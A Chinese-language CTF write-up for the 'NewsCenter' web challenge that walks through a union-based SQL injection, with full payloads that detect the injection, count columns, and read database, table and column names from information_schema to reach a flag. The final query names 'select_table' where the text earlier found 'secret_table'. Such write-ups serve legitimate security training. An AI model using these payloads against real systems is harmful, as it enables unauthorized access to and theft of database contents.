CTF-WEB篇 攻防世界题目实战解析NewsCenter

题目:NewsCenter    难度:2

主要知识点

sql注入,union语法

解题:

步骤一  判断类型

在对话框中输入“hi”后,弹出了相关的News内容。

随后,我输入了hi',立刻报错了。再输入一个单引号也一样报错

我判断,这是一个字符型sql注入题。

因此,我在对话框中输入

hi'#

这次没有报错了。

原因:

单引号与服务端代码中的’形成闭合,将我们输入的字符串hello包裹,服务端代码后面就多出来了一个‘导致语法错误,而加入#将后面的’注释掉之后不会报错。

得出结论:这是字符型sql注入题

后面的语法,我们只需要保留前面'闭合其之前的雨具以及末尾的#注释掉后面的语句即可,缺一不可!!

步骤二 orderby 语句查询列数

使用语句:

' order by 1#         //无报错
' order by 1,2#       //无报错
' order by 1,2,3#     //无报错
' order by 1,2,3,4#   //报错

发现当出现第四个时,报错了,与原数据库的列数冲突了。(order by 后面的内容可以少于前面查询的属性数,但是不能多于查询的属性数)

得出结论:有3列

步骤三   回显定位

 union select语句:

a' union select 1,2,3#

a用来让他少废话。

发现只有2和3列有回显示。

步骤四   库名-->news

代码:

a' union select 1,2,database()#

我们得出库名为news

步骤五  表名-->news 和secret_table

代码查询表名:

a' union select 1,2,table_name from information_schema.tables where table_schema='news'#

得出两个表的名字:news 和secret_table

步骤六  secret_table的列名-->id 和 fl4g

输入:

a' union select 1,2,column_name from information_schema.columns where table_name='secret_table' #

步骤六 找字段名(找flag
a' union select 1,id,fl4g from news.select_table #

  • 6
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值